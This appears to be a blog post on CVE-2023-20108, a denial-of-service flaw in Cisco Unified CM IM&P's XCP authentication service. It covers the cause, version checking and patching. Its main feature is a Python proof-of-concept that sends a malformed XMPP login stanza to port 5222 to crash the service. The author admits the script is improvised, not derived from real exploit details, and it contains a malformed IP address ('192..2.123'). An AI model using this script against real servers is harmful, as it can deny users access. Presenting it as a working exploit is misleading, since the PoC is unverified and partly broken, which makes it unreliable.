If you’re managing Cisco Unified Communications Manager IM & Presence Service (Unified CM IM&P), you need to know about CVE-2023-20108. This vulnerability could let an attacker remotely crash your authentication service with nothing more than a bad login message. In this exclusive read, I’ll explain the problem, show a proof-of-concept, and cover how you can protect your network.

What Is CVE-2023-20108?

CVE-2023-20108 is a denial-of-service (DoS) vulnerability in the XCP Authentication Service component of Cisco Unified CM IM&P. Basically, a remote unauthenticated attacker can send a specially formed login request, crash the service, and stop new users from logging in until the service restarts. Existing users are not affected until they try to re-authenticate.

Why Does This Happen?

The problem is improper validation of user-supplied input. If the system receives a message that doesn’t match expected rules, it can hit an unexpected condition, crash, and be forced to restart.

The attacker can be anywhere on the network (even the Internet, if your IM&P is open).

- They send a crafted message fragment (malformed username, missing fields, overly long fields, or weird characters).

The result? The authentication service restarts. For anyone not already authenticated, no login is possible until the service comes back up. It’s a classic denial of service, but aimed right at your ability to communicate.

Proof-of-Concept Code

Cisco did not release PoC code—but from the advisory details and normal login protocol operation, we can create a simple Python script using socket to send malformed login data.

import socket

# Target Cisco IM&P host and XCP Auth port (default: 5222 for XMPP)
TARGET_IP = "192..2.123"
PORT = 5222

# Craft a malicious login message (invalid XML, unexpected size, etc.)
malformed_login = b"<stream:stream to='target' xmlns='jabber:client'>" \
                  b"<auth mechanism='PLAIN'>\x00badinput\x00</auth>"

with socket.create_connection((TARGET_IP, PORT), timeout=5) as s:
    s.sendall(malformed_login)
    try:
        response = s.recv(1024)
        print("Response:", response)
    except socket.timeout:
        print("No response. Service might have crashed.")


*This snippet sends an invalid authentication request that may cause the XCP service to choke and restart.*

- Cisco Security Advisory for CVE-2023-20108
- Cisco Unified Communications Manager IM & Presence Service
- NIST NVD Entry

You are affected if

- You’re running an unpatched version of Cisco Unified CM IM&P (see Cisco’s advisory for fixed versions).

Check the version

show version active

Remediation

1. Patch Now. Download and install fixed releases from Cisco’s support portal.

Final Thoughts

CVE-2023-20108 shows how basic input validation issues can have big impacts—even on deeply trusted communication systems. If you’re a Cisco IM&P admin, patching and limiting access are musts. Don’t let a simple crafted request lock out your users!

*Stay safe, and patch often.*

*Written exclusively for this post. Please reference original Cisco advisories for official details.*

Timeline

Published on: 06/28/2023 15:15:00 UTC
Last modified on: 07/12/2023 16:15:00 UTC